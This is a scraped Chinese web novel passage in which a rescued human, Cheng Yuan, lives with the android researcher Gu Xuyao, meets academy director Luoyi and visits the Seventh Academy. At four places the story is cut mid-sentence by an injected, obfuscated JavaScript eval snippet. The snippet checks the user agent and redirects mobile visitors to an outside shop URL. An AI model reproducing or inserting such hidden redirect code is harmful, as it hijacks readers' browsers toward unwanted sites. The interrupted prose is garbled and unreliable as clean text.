“我们坐下聊。”洛伊很自然地推着程鸢坐到了沙发上,在程鸢旁边坐下,环顾四周,对顾栩尧说,“总觉得你这里更像人住的地方了,之前冷冰冰的,像监狱。” 顾栩尧没什么情绪地“嗯。”了一声,然后在旁边的单人沙发上坐下。 洛伊笑吟吟地看着程鸢。 但程鸢总觉得他看自己眼神好像有一点奇怪,像是在审视,但那不同于交易所那些仿生人对物品的估价,而是像在欣赏令自己满意的作品…… 程鸢心里有些发毛。 ……是错觉吧,可能洛伊院长就是单纯的比较热情。 洛伊:“这几天太忙了,害得我一直没能来看看顾栩尧把你照顾得怎么样。” 顾栩尧还没说话,程鸢就慌慌张张地说:“顾、顾先生把我照顾得很好!” 洛伊和顾栩尧都愣了愣。 “是吗,那就好。”洛伊转向顾栩尧,轻声笑道,“不过你真的知道怎么养人类吗?” “准备好吃的喝的和睡觉的地方。” 洛伊:“没有那么简单……我之后发一份文件给你,你参考一下。” 顾栩尧迟疑片刻,点了点头。 洛伊又对程鸢说:“过段时间我们可以一起出去玩,我带你去我最喜欢的游乐园。” 游乐园? 上城区还有这种地方吗? 程鸢有神色茫然。 洛伊问顾栩尧:“都已经这么久了,你不会还没带他出去过吧。” 顾栩尧皱了皱眉:“外部环境存在大量不可控因素。” 洛伊:“不能总是关在家里。人类需要晒太阳,呼吸新鲜空气,见不同的风景,这对心理健康有好处,心情愉悦了,身体就会恢复得更快。”他转头对程鸢眨眨眼,“对不对?” 程鸢眼中流露出一丝微弱的向往。 顾栩尧:“……我会评估。” …… 洛伊走后,房间里恢复了安静,只剩下花束和纸袋里的手工饼干飘出的淡淡香气。 “院长好热情啊。”程鸢犹豫了一下,小声问:“……不过我有点好奇,人类真的可以当科学院的院长吗?” 按照交易所人类的地位来看,人类应该没有这样的机会吧。 顾栩尧:“洛伊是仿生人。” 程鸢“哇”了一声,“他居然是仿生人?” “你好像很惊讶。” “完全不像。”程鸢嘟囔道,“他很像人类啊。我以为仿生人都是你这样的,比较……”程鸢斟酌了一番用词,憋出一个“理智”。 “我们只是仿生人,并不是机器人。你难道不知道仿生人是为什么被创造出来的吗?” 程鸢迷茫地摇摇头。 “……为了满足人类无法在规则内得到满足的欲望,所以仿生人被创造到与人类无比接近……” 程鸢微微歪头,栗色的头发倒向一边,嘴微微张开似乎想提问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307866|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却不知道该问什么,最终化作一声迷茫的“啊……” 听上去,人类对仿生人做过很不好的事情。 可是,在下城区的人类也在受仿生人迫害吧,自己也是其中一员,只是侥幸被顾栩尧救了出来。 程鸢想了一会儿,皱巴巴地问:“所以现在人类和仿生人关系很差吗?” “不完全是,在上城区可以做到和谐共处。” “好吧……”听上去仿生人之间也存在分歧,“但……其实如果仿生人真的想对人类做什么,人类根本毫无还手之力吧,毕竟仿生人很厉害,而且是永生的……” “并不算永生。” 程鸢困惑地看着顾栩尧。 “处理器渐进性衰减症。仿生人到一定程度就会彻底消亡。” “这么严重?顾先生你也会得这个病吗?” 顾栩尧面无表情道:“只要是仿生人都会得。” 好像戳到别人痛处了。 程鸢急道:“但、但是科学院在努力找解决方法了吧。” 顾栩尧落在程鸢身上的视线冰冷且深邃,缓缓点了点头。 话题好像终结了。 程鸢抿着嘴唇,若有所思。 人类应该不愿意再制造新的仿生人了吧,现在增添仿生人,对人类的处境而言无异于雪上加霜。 而仿生人们会得那个致命的“病”,如果没办法找到治病方法,总有一天会彻底灭亡。 程鸢想象着那一天真正到来,却说不出自己是什么心情。 他出神地想着这些乱糟糟的事。 顾栩尧又像敲门那样扣了一下程鸢的额头,问:“想什么呢?” 程鸢不敢还手,捂着额头,慢吞吞地说:“哦……我在想,你是被谁制造出来的……” “我不记得了。” 程鸢有些惊讶:“啊……机器人也会失忆吗?” “我的记忆被损毁了。洛伊发现我的时候,我几乎彻底损坏了,是他修好了我。” 还有这种事? 程鸢眨了眨眼,以免戳到顾先生的痛点,于是结束了这个话题,“……好吧。” 程鸢将视线转到了洛伊带来的东西上,花束真的很漂亮,鲜艳夺目,生机盎然,驱散了些程鸢一团糟的思绪。 尝尝洛伊院长带来的饼干吧。 程鸢这么想着,慢吞吞地支愣起来,俯身向那个纸袋伸出了手。 然而有一只手抢在程鸢前面,夺走了那个纸袋。 程鸢不解地抬头。 是顾栩尧。 他不仅拎起了洛伊带来的饼干,另一只手还捧起了那束花。 程鸢视线凝聚在顾栩尧身上,问:“你去哪?” “工作室。” 程鸢指了指顾栩尧手里的东西,“为什么带着那些?” “饼干的成分需要经过检测后再判断适不适合你食用,鲜花也要酌情摆放。” 程鸢:“……” 有必要这么小心吗? 顾栩尧盯着程鸢,忽然没头没尾地问了一句:“你很喜欢他带来的礼物?” 程鸢愣住了:“啊?我……是啊……” 顾栩尧似乎不需要答案,带着饼干走向工作室,“我也可以给你买鲜花。” 程鸢呆呆地看着顾栩尧的背影,没理解这句话的意思。 但顾栩尧已经走进了工作室,没给程鸢询问的机会。 * 夜深人静。 窗帘紧闭,白噪音生成器在持续不断地释放柔和的灯光,很有安全感。 程鸢躺在床上,他肚子有些不舒服。 顾栩尧检测完小饼干的成分后把饼干还给了程鸢,程鸢第一次吃到这么好吃的东西,没忍住多吃了几口。 好像还剩很多,但他甚至有点舍不得吃了,万一哪天吃完…… ……洛伊院长说了,吃完了就跟他说,他还会再送。 洛伊热情、漂亮、友善,烤的小饼干也很好吃。他真是个好人。 不对,是好仿生人。 这也是程鸢完全没有想到的,洛伊居然是仿生人。 在交易所时,他通过展柜的玻璃也见过很多仿生人,但是没有什么交流,所以程鸢对他们没什么太深的印象。 而来到上城区后,程鸢和顾栩尧一起生活了一段时间,又见过了洛伊院长。 他发现,仿生人或许并不像自己想的那样吧,他们有意识,有情感,有自我意识。 真的很像人类。 他们……都会得那个病吗。 处理器渐进性衰减综合征。 这听起来是关乎整个仿生人族群存亡的大事。 程鸢翻了个身,没有半分困意,仰躺盯着天花板。 如果顾栩尧某一天消失了…… 程鸢怔了怔。 最开始和顾栩尧一起生活,只要顾栩尧在身边,程鸢身上的每一个细胞都是紧绷的,就算是看电视的时候腰背也挺得直直的。 但现在他已经可以放松一些了。 而且每次小小地反抗顾栩尧的“命令”后,顾栩尧也不会生气,导致程鸢的胆子越来越大了。 还有啊……那句“我也可以给你买鲜花”是什么意思? 不知道后面会怎么样…… 程鸢翻了个身,将自己埋入柔软的枕头里,沉沉睡了过去。 8. 附属住宅(六) 第二天,程鸢照旧在智能管家的催促下起床吃早饭,今天的饭变回了各种原材料切块,虽然不如洛伊烤的小饼干好吃,但比水泥饭强了不少。 顾栩尧从来没和自己一起吃过饭,每次吃饭的时候,他都捧着一个数据面板坐在程鸢对面。 程鸢偷偷打量他,发现顾栩尧今天的眉头皱得格外紧。 而且很快,就出现了一件他很在意的事…… “顾先生。”程鸢咽下一口蛋白质块后,实在忍不下去了,“为什么一直盯着我,我做错了什么吗?” 顾栩尧理所当然的回答:“没有。” 程鸢依旧不解。 虽然以前吃饭的时候顾栩尧也会看着自己,偶尔在数据板上记录些什么。 但是今天简直是无法忽视的程度。 顾栩尧的视线完全没离开过程鸢的脸,一直紧紧跟随。 到底哪里惹他不开心了? 是因为自己吃太慢了?还是因为吃相不好? 程鸢诚惶诚恐地想了一会儿,小心翼翼地开口缓和气氛:“您吃过了吗?” 顾栩尧点点头。 “我从来没见过您吃饭。”程鸢放下筷子,比划着说道,“之前我以为您不需要吃饭,而是像电视里演的那样,唔……休眠舱,进去睡一觉就可以恢复能量。” 顾栩尧:“程鸢,我是仿生人,不是机器人,当然需要吃饭。” “哦。”程鸢还是没觉得有多大区别,“那你为什么从来不和我一起吃饭?” “我需要观察记录你的进食情况,然后调整饮食结构。”顾栩尧一本正经道,“共同进食会影响观察。” “好吧。” 顾栩尧又皱眉看了一会儿,感慨道:“原来人类这么难养……” “什么?” “昨天我阅读了洛伊给我的手册。”顾栩尧语气平平地说,“上面说,需要给人类喂饭、洗澡,为人类提供娱乐环境与娱乐设施,陪人类玩,保证人类的身心健康……” 顾栩尧一下子说了一长串,程鸢听得懵懵懂懂。 前面这些勉强算正常、可以接受…… 但很快就出现了奇怪的发言。 “要陪人类睡觉,给人类剪指甲、剃毛、做绝育……” “停!” 程鸢大声打断。 “这、这不对吧,院长是不是把什么奇怪的东西发给你了?!” 顾栩尧确认了一下,说:“确实是人类饲养手册。” ?! 洛伊院长真的是好人吗??? “顾先生,那个手册是错的……不需要给人类剃毛,也绝对不能绝育!” 顾栩尧眉头微皱:“你又没有养过人类……” “可我就是人类啊!” 程鸢简直要恼羞成怒了。 这绝对不是什么正经手册吧! 程鸢几乎能确定,院长把养小猫小狗的手册换了个名字发给顾栩尧了。 偏偏顾栩尧还有点好骗。 他一本正经地说:“你、你听我的,以上这些都不要做,我们维持现状就好了。” “可我想试试。”顾栩尧一本正经地说,“有点好玩。” 程鸢语塞。 他几乎要拍案而起了,强忍着内心翻滚的情绪,认真地说:“你都说了,仿生人和人类很像。所以你打算对我做的事,我也要对你做。” 这样总能制止他了吧。 顾栩尧思考了一会儿说:“可以。” 程鸢在心里偷偷庆祝,此局大获全胜。 “那我陪你睡,你陪我睡。” 程鸢:“……” 顾栩尧盘算着:“嗯……洗澡也是……” “不、不行!” “理由。” 空气安静了几秒,程鸢深吸一口气。 “人类之间……不能随便一起睡觉。这是很亲密的人才能做的事,比如家人、朋友,或者伴侣之类……” “不接受,所以今晚开始一起睡。” 顾栩尧的态度不容置疑,似乎对这件事已经给出了最后结论。 程鸢心急如焚,他回想起了和顾栩尧一起睡的那个晚上,他全程压着床边,熬到失去意识才算睡了过去。 程鸢耗尽所有勇气,但仍然有些底气不足地反抗道:“但是如果和你一起睡的话,我会不自在,绝对会失眠的……” 静了好久。 长久压抑的氛围让程鸢有些紧绷,他试探性地抬眼看顾栩尧,看到了对方微微抿起的薄唇。 视线再向上移,顾栩尧冷漠的眼神与程鸢对上,程鸢猛地怔住。 顾栩尧又不开心了。 “我的存在另你无法放松?因为我们不是很亲密的关系?” 顾栩尧的语气前所未有的严肃,眼睛始终定在程鸢身上,似乎并不是在提问,上面的两句就是他得出的结论。 程鸢仍然僵着身子。 虽然这是事实,但程鸢不敢说。 他有点紧张地看着顾栩尧 “你说了朋友可以一起睡。我们不算朋友吗。” 程鸢觉得,不是…… 他们才一起生活了一段时间,程鸢还完全不了解顾栩尧,他觉得,他们不算能朋友。 但顾栩尧看上去有点生气。 程鸢不敢直接这么说,想了好一会儿才回答道:“我也不知道,可能人类和仿生人的标准不太一样……” “那么怎样才能算是朋友?” 程鸢和顾栩尧相处时本来就不能放松,这下更加紧张了,脑子里一团糟,加上顾栩尧的神情严肃而认真,看上去一定要得到一个确切的答案,程鸢被他的气场压的喘不过气,结结巴巴地说:“大概是我对你说‘我喜欢你’”的时候?” 顾栩尧得到答案后紧绷的氛围松动了些,他独自陷入了沉思。 而程鸢想的是,要自己对顾栩尧说“我喜欢你”,恐怕这辈子都不行…… 这下顾栩尧不会再缠着自己一起睡觉了吧。 “我知道了。”许久之后顾栩尧才回答,他的表情听不出情绪,但声音格外低沉。 看上去顾栩尧依旧没有释怀。 程鸢纠结了片刻,说:“如、如果你坚持……” “你可以自己睡。”顾栩尧冷着脸,“但如果睡眠质量持续下降,我会采取强硬措施。” 程鸢悄悄松了口气。 他完全不知道顾栩尧为什么要这么生气。 只是因为自己没有同意和他睡吗……? 程鸢思考了好一会儿,觉得应该是自己打破了顾栩尧的秩序感,所以他不开心了。 但这也没有办法…… 程鸢真的不想和顾先生一起睡,他舍不得自己宽敞的大床。 ……好在顾先生是个善良温柔的仿生人,没有和自己计较。 就在程鸢冥思苦想要说点什么缓和气氛的时候,门铃响了。 他如释重负地松了一口气。 这件事也算翻篇了吧。 ……门那边的铃声比有人来访时更加短促,是无人机来送东西了。 大概是顾栩尧买了衣服或者食材吧。 但程鸢很快就被顾栩尧的动作震惊到了。 他一趟接一趟地往返于门口和工作间,抱了整整五个大箱子回来! 程鸢:“顾先生,您买了什么?” 顾栩尧:“不是我买的,是洛伊寄来的。” 程鸢:“有给我的东西吗。” “如果有送给你的东西,我检测成分后会决定该不该给你用。”顾栩尧一边抱着箱子从程鸢面前走过,一边说,“吃完了就去客厅,我给你讲解在科学院的注意事项。” * 这么快就到去科学院的日子了。 他离开交易所之后,从来没出顾栩尧的家,他根本不知道外面的世界是什么样的。 科学院。 程鸢无数次幻想过这个地方,在他的想象中,那里是一个冰冷、严肃、秩序井然但没有人情味的地方。 还会有其他仿生人吧。 但比起恐惧不安,他感受到更多的是兴奋。 毕竟自己和科学院的首席一起生活了这么久,还见过了院长,他们都是好人。 总之程鸢没那么害怕。 “好~” 程鸢眼睛亮晶晶地看着顾栩尧,用力地点下头,像即将去春游的小孩子。 * 程鸢手里被塞了纸和笔,在沙发上正襟危坐,顾栩尧坐在他的斜对面。 顾栩尧说了,接下来他说的话,都要记下来。 但是…… “顾先生,没有更先进的记录方法吗?”程鸢最开始从顾栩尧手里接过纸和笔的时候,有一点震惊,他以为这种东西在这个时代已经灭绝了,毕竟平时顾栩尧记录自己的情况用的都是数据板。 “你会写字吧。” “会。” 顾栩尧点点头,声音平稳无波,像是在宣读报告,“好。记住以下十点。” 好多啊。 程鸢立刻切换努力模式,做好奋笔疾书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307867|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的准备。 “第一,跟紧我。与我的距离不得超过五米,在我的视野范围内活动。” “第二,除我之外,不要接受任何人提供的食物、饮料或者药物。” 程鸢举起了手,眼睛亮亮地看着顾栩尧。顾栩尧停了下来,示意程鸢提问。 “如果有我必须吃的东西呢?” 其实程鸢是想到了洛伊院长的小饼干,万一这次还会给自己送呢? 但他不敢说如果有自己想吃的东西,而是说了“必须要吃”。 “如需摄入,需要取得我的许可。” 那大概率不能吃了。 程鸢有些失落。 “第三,不要独自行动。” 程鸢弱弱地举手提问:“去洗手间呢……?” “包括去洗手间。”顾栩尧毫不犹豫地回答。 “好吧。”程鸢突然想到什么,“对了,你会去洗手间吗?嗯……就是,你需不需要……” 程鸢支支吾吾的,但顾栩尧已经明白他的意思了,他沉着声音说:“我需要再次重申一下,我是仿生人不是机器人。” “哦……哦……” 这么仿生的吗? 那么…… 程鸢又想到了别的事。 他立刻摇了摇头,将一些奇怪的念头甩出脑子。 顾栩尧见他记好,继续说:“第四点……” 顾栩尧一边陈述守则,一边低头注视着程鸢。 程鸢低着头奋笔疾书,栗色的头发遮住眉眼,只露出挺俏的鼻梁和微抿的嘴唇,看上去很乖的一小只。 他将顾栩尧说的十条注意事项一笔一画地记下来,抬头看顾栩尧,眼神明亮而透彻。 顾栩尧:“都记下来了吗?” 程鸢乖乖点头。 顾栩尧神情严肃地说:“总之,遇到麻烦要第一时间找我,我是你唯一值得信任的人。” 程鸢:“顾先生,科学院很危险吗?” 顾栩尧:“没有下城区危险。” 这算什么回答? “那么,科学院里的人,嗯……仿生人,会对人类有敌意吗?” “大部分不会。”顾栩尧思考了片刻道,“但你还是要小心,这段时间他们心情应该不算好。” “啊?”程鸢有些惊讶,“是因为仿生人的那个病吗?” 顾栩尧:“不是,那个病不是这两天才有的。到时候你就知道原因了。” “好吧……” “今天将注意事项背会,明天我检查。” 程鸢自然不愿意,“记住大概意思可以吗?” “不可以,要一字不差。”顾栩尧看着程鸢有些不情愿的神情,补充道,“你太笨了。” 程鸢弱弱地反驳道:“我没有很笨。” “根据你在此之前的行为记录,我还没看出你哪里算得上‘聪明’。” 程鸢想起自己不久前刚打碎一个水杯,竟然说不出反驳的话了,但他仍然不服,难道顾栩尧要因为这一件小事一直否定自己吗?他蹬了顾栩尧一眼,说:“我困了,想睡觉。” “现在还没到休息的时间。” “我昨天晚上睡得太少了。对人类来说,补觉也很重要的。” 程鸢下意识抿住嘴唇,眼尾微微下垂,让那双圆而漂亮的眼睛蒙上一层湿润的水光,眼中带着不自知的哀求。 顾栩尧不知道什么是撒娇,但他觉得程鸢的声音软软的,很好听。 并且,这个声音好像在让他变得迟钝僵硬。 这个人类又在攻击自己。 ……但顾栩尧不讨厌这次的感觉。 “你就在我身边睡。” “为什么?” 为什么? 其实顾栩尧也不知道。 他只是想让程鸢待在自己身边。 “我需要观察你睡觉时睫毛的颤动频率。” 程鸢震惊,“这种观察真的是必要的吗?” “是非常严肃的科学研究。”顾栩尧一本正经地点点头。 程鸢困得发懵,没有精力和顾栩尧计较那么多,顺势躺在了沙发上,将身后的靠枕捞起来垫在脑袋下面,闭上了眼睛,迷迷糊糊地说:“好吧,我就在这里睡一小会儿。” 顾栩尧拿来薄毯的时候,程鸢的呼吸已经平稳均匀了,他深栗色的头发随意垂落在靠枕上,侧躺着蜷缩在沙发里。 他走过去,将薄毯展开轻轻搭在他身上,靠得很近时,他能够看到程鸢偶尔轻动的睫毛,在透白的皮肤上投下细碎的阴影。 9. 科学院(一) 程鸢又陷入了梦境中。 但这次并不是逃亡的梦,他梦到了“科学院”。 梦里的科学院,是庞大肃穆的建筑群,冰冷的结构直插天际,流动的数据屏像瀑布一样覆盖建筑表面,一切都井然有序,透着一股令人窒息的压迫感。 程鸢站在科学院面前,双眼空洞地望着庞大的建筑,显得格外渺小。 程鸢向顾栩尧描述了这个梦,问他科学院是不是这样的。 顾栩尧回答,不太一样,到时候就知道了。 …… 很快就到了去科学院那天,闹钟响的时候,程鸢没有赖床,老老实实配合顾栩尧做出发前的检查。 程鸢穿的是米白色的针织衫和深灰色的长裤。 其实他觉得应该穿得更正式一点,但衣服是顾栩尧选的,所以他没有提出异议。 但是一直到出门前,顾栩尧都在让程鸢背诵注意事项。 程鸢有些烦,闹脾气不想背。 顾栩尧就说程鸢笨,怕他忘记。 程鸢不服。 所以直到悬浮车无声地滑入专属通道,他们即将到达科学院,程鸢都没有和顾栩尧说话。 他看向窗外,没有想象中的高楼林立,只有一些很普通的建筑。 如果不是顾栩尧的一句“到了”,程鸢甚至看不出这里是传说中的第七科学院。 他不自觉地攥紧了手。 “跟紧我。” 车停在了一栋看起来有些年头的灰色建筑前,外墙是毫无特色的砖石,入口处甚至有些狭小。 这和程鸢想象中那种流光溢彩、气势恢宏的科学圣地,差得太远了,感觉甚至没有交易所气派。 程鸢迟疑道:“这是……?” “第七科学院,B区入口。” 顾栩尧语气平淡到像是在播报天气,随后率先走了进去,程鸢赶紧跟上。 进去后,程鸢的脚步越来越慢,最后直接僵在了原地。 这个地方完全没有未来科技感,反而有一种浓浓的……混乱且焦头烂额的氛围…… 程鸢视线中的桌子上都堆满了书本纸张,穿着银灰色制服的仿生人们在大厅和走廊里快速穿行。 他们的眼神平直且黯淡,很多仿生人手里拿着不止一个数据板,边走边处理信息,步伐快到几乎要飘起来。 顾栩尧径直向前走去,程鸢跟在他身后。 他们穿行在仿生人研究员中间,没有一个仿生人有空停下来和他们寒暄,只是在顾栩尧经过的时候,会向顾栩尧点头问好,然后继续做自己的事。 他偷偷打量四周,看上去每个仿生人都格外忙碌,忙到像是被吸干了精气般丧着脸。 这种焦灼的氛围令程鸢感到安心,因为这意味着很少有人会注意到自己。 顾栩尧的步速渐渐慢了下来,程鸢也跟着放缓了脚步,和顾栩尧始终保持大约三步的距离。 程鸢还在偷偷观察周围的时候,顾栩尧突然停了下来。 程鸢紧急刹住脚步,在鼻尖撞到顾栩尧后背的前一秒站稳了,然后抬头有些埋怨地看向顾栩尧。 顾栩尧:“跟上我。” 程鸢嗔怪道:“我一直跟着呢。” 顾栩尧看着程鸢,没说话。 程鸢试探性地向前走了两步,直到走到了顾栩尧的身侧,顾栩尧才转过脸,继续前进。 “顾先生……”程鸢头转向顾栩尧那边,用气声讲话,“这里真的是科学院吗?” “嗯。” 程鸢想起梦里的那个科学院,突然相信了“梦境和现实都是相反的”这句话。 身旁时不时有仿生人经过,程鸢和顾栩尧越靠越近,直到两人的手臂贴到了一起。 程鸢下意识想要拉开距离,却被顾栩尧揽着手臂带了过去。 与此同时一个步履匆匆的研究员与程鸢擦肩而过。 顾栩尧:“看路。” 程鸢点点头。 * 程鸢跟着顾栩尧搭电梯直奔顶楼,在一个办公室的门口停下了脚步。 里面隐隐约约传出了声音。 “院长,这是要审批的文件。” “放那。” “还有,那边在催报告了。” “跟负责人说三点前必须交上来。” …… 程鸢和顾栩尧在门口听了十几分钟,需要处理的事情一件接着一件,院长的语气也越来越不耐烦了。 之后,一个研究员从办公室里退了出来,看到顾栩尧微微鞠躬问候,顾栩尧点点头,研究员离开了,顾栩尧带着程鸢走进办公室。 进去后,程鸢一眼就看到了一张面向门这边的大桌子,桌上堆着好几摞半个程鸢那么高的书籍文件,围成了一面墙。 “墙”后面的人不耐烦地问:“还有什么事?” “洛伊。”顾栩尧向那面“墙”说,“我带程鸢来检查。” “啊。”洛伊已经换了语气,“欢迎。” 这时程鸢注意到“墙”的中间有一条一人宽的空隙,有一个粉色的脑袋在空隙中抬起。 是洛伊院长。 看清洛伊的脸后,程鸢有些震惊。 此时的洛伊,除了发色没变,简直像换了一个人。 他戴着一副边框很粗的黑色眼镜,即便如此也遮不住眼下的乌青,头发和衣服有些凌乱,看上去比研究员们状态还要差,死气沉沉。 顾栩尧:“辛苦了。” “命苦……”洛伊的声音格外虚弱,“项目结题和学术会议季又撞到一起了,我要吐血了,你什么时候回来工作?” 顾栩尧的语气格外平淡,像是在问候天气,“我认为我在家也正常完成了工作。” 洛伊长叹一口气,转头看程鸢,问:“饼干你尝了吗,觉得怎么样?” “很好吃!非常感谢。” 洛伊:“你喜欢就好,下次我可以直接教你怎么做,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我们只需要让程鸢以为你不在身边就好,你不必着急。”洛伊的声音从背后传来,“全程都有监控,一会儿你可以偷偷跟过去,我不会拦你。我只是想和你单独聊聊。” 顾栩尧终于停住了脚步,紧绷着转回了身。 “别那么紧张,你的人类会完好无损。” 顾栩尧立刻打开了科学院的全域监控,一边寻找程鸢的位置,一边头也不抬地对洛伊说:“他细胞活性低的原因,以及与‘密钥’的关联性有多大,我需要最高权限级别的数据。” “这是当然。”洛伊保持着无懈可击的笑容,“只是我都没想到,你会对这个人类这么上心。我很高兴看到你的改变。” 顾栩尧冷着脸,“程鸢和其他人类不一样,照顾他是我的职责。” 洛伊:“是吗,可程鸢也是人类,如果他知道你对人类的态度,恐怕会伤心的。” 顾栩尧:“我只是持旁观态度。” “有时候漠视也是一种帮凶。”洛伊笑道,“不过程鸢确实不一样,如果他真的是密钥,可能是唯一能解开仿生人生存枷锁的钥匙。要照顾好他。” 顾栩尧沉默良久,说:“我知道。” 10. 科学院(二) 另一边,被研究员带走的程鸢,故意磨磨蹭蹭地拖延,蹲下来系了两次鞋带,还装模作样地翻了包,说自己没带水杯,想回洛伊的办公室,但被两个研究员回绝了,他们说做检查的地方有一次性水杯。 程鸢只好作罢,只能尽可能地放慢脚步。 可过了很久,顾栩尧还是没有跟过来。 程鸢焦急不已,频频回头,期盼着顾栩尧的身影能出现,但希望一次次地落空。 不安的情绪已经溢满了他的胸膛。 ……他无法信任前面的这两个仿生人。 就算……洛伊和顾栩尧都是好人,但不能保证所有仿生人都是好的。 他想立刻回头,奔向洛伊的办公室找顾栩尧,但他也害怕惹恼那两个人高马大的仿生人,他们会伤害自己。 他忽然觉得很委屈。 顾先生怎么好意思说自己笨的,程鸢觉得真正笨的是他。 就这么随随便便地将自己丢了出去…… 这次回去,他要一个星期不和顾栩尧说早上好! * 那两个仿生人把程鸢带出来之后,就自顾自在前面走,除了偶尔停下看看程鸢有没有跟上以外,完全没有理会程鸢。 程鸢在思考偷偷溜走的可能性,他一边听两个研究员的对话,一边寻找时机。 瘦高研究员说:“我不行了……真的好累,为什么刚好赶上这么忙的时候进科学院,我还要写论文和述职报告。” “坚持一下,熬过这段时间就好了。”另一个矮一点的说完,直接打了个哈切。 “唉,还被分到额外的差事……” “没办法,是顾首席的要求。在科学院,得罪谁都不能他。” “说起来,这个人类真的是顾首席在养吗?” “应该是吧,你见过首席带着哪个人类进过科学院?之前首席一向对人类敬而远之,也不知道这个踩了什么狗屎运。” “话也不能这么说,和首席一起生活真的能算好事吗?” “呃,确实难以想象……”说话的研究员打了个哆嗦,“能和首席一起生活,应该也不是普通人类吧。” 这句话说完,他们两个回头,看向了程鸢。 程鸢的视线一下被两个比他高的仿生人占满了,他微微仰起头,怯生生地柔声道:“你、你们好,我叫程鸢。” “嘶……” 那两个研究员看向程鸢的眼神越来越深沉,久久没有说话。 他们的眼神越来越可怕了。 程鸢想起了顾栩尧说的,要小心研究员,他们最近心情不太好。 他下意识地后退了半步,想要转身逃跑。 …… 另一边,顾栩尧的随身数据板上分屏显示着科学院里的实时监控和程鸢的生命体征数据,和洛伊讲话时,他的目光也完全没有离开过屏幕。 洛伊也拿起手边的文件翻阅起来,含着笑意说:“这么上心,你很喜欢程鸢吧。” 顾栩尧像没有听到一样,没答话。 突然,数据板屏幕上的三个人停了下来,那两个研究员转身看程鸢,而程鸢则展现出防御状态,后撤了半步像是要逃跑。 顾栩尧立刻站了起来,没有理会洛伊的询问,快步走了出去。 * 程鸢所面对的两个仿生人比他高很多,一动不动地盯着程鸢。 程鸢摸不清他们的意思。 这是他被顾栩尧带走后第一次走出家门,也是第一次在顾栩尧不在的时候与别的仿生人接触。 程鸢忽然想起,在交易所时同伴们所形容的仿生人。 他们说仿生人会将人类视作玩具,玩腻了就拿来做各种残忍的实验,最后再解剖掉回收各个部件。 ……顾栩尧又不在这里,他没办法保护自己,怎么保证这两个仿生人不会欺负自己? 他能感受到自己的心跳声清晰可闻,紧张到要呕出血来,戒备地后仰身子,做好了随时逃命的准备。 他疯狂思考对策,浑身紧绷地盯着两个研究员。 “他……” 忽然,其中一个开口了。 程鸢吓得浑身一颤,又后退半步,看向说话的研究员。 另一个也喃喃道:“果然吧……” 他们两个诡异地对视了一眼,像是达成了某种心照不宣的默契。 “你们要干什么。” 程鸢眼中已经被激出了水气。 “他果然很可爱吧!” …… ? 程鸢愣住了,眼中依旧闪烁着没散去的泪光,呆呆地看着两个对面两个高大的仿生人。 “他好漂亮,天呐,你见过这么漂亮的人类吗?” “没有!”另一个兴奋地说道,“眼睛好大,好可爱。” 他们两个满脸爱惜地凑到程鸢身前蹲下,又将程鸢的视线填得满满当当。 “怪不得顾首席破例接触人类,我也想带他回家!” 他们一人抓起程鸢的一只手,眼睛却舍不得从程鸢的脸上移开,仍然满眼欣喜地看着程鸢。 “你叫程鸢?名字真好听。” 程鸢还没反应过来,僵硬地说:“你们、你们刚刚的眼神好可怕……” 两个仿生人愣了一瞬,被逗得笑起来,“我们只是觉得你太可爱了,所以可能看上去有点凶。你放心吧,我们绝对不会伤害你,我那有很多好吃的,都拿出来给你吃。” 程鸢放松了一些。 但他突然想起了顾栩尧说的第二条注意事项——除他之外,不接受任何人提供的食物、饮料。 ……哼。 顾栩尧到现在都没有跟出来。 他都把自己扔给别人了…… “好……”程鸢默默站好,“你们要答应别伤害我。” “放心吧,别说我们绝对不会伤害你了,我们也不会让别人欺负你的!” 程鸢想,这两个研究员都要比顾栩尧负责一些。 这么想着,他就更生气了。 “程鸢!” 程鸢身子一震。 幻听吧,怎么听到顾栩尧的声音了? 他向后看去。 看到了急匆匆赶来的顾栩尧。 顾栩尧眉头紧锁,呼吸急促,胸口快速起伏,视线扫了一圈,快速锁定程鸢。 还好程鸢没事,好端端地站在那里。 只是,他面前半蹲着两个研究员,一人握着程鸢的一只手,揉捏。 顾栩尧的神情逐渐僵硬,焦急的情绪从面容上散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307869|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,疑惑取而代之,脚步也在变缓,直到彻底站定在那里。 两位研究员看到赶来的顾栩尧,立刻松开程鸢的手,站直了,规规矩矩地打招呼:“首席。” 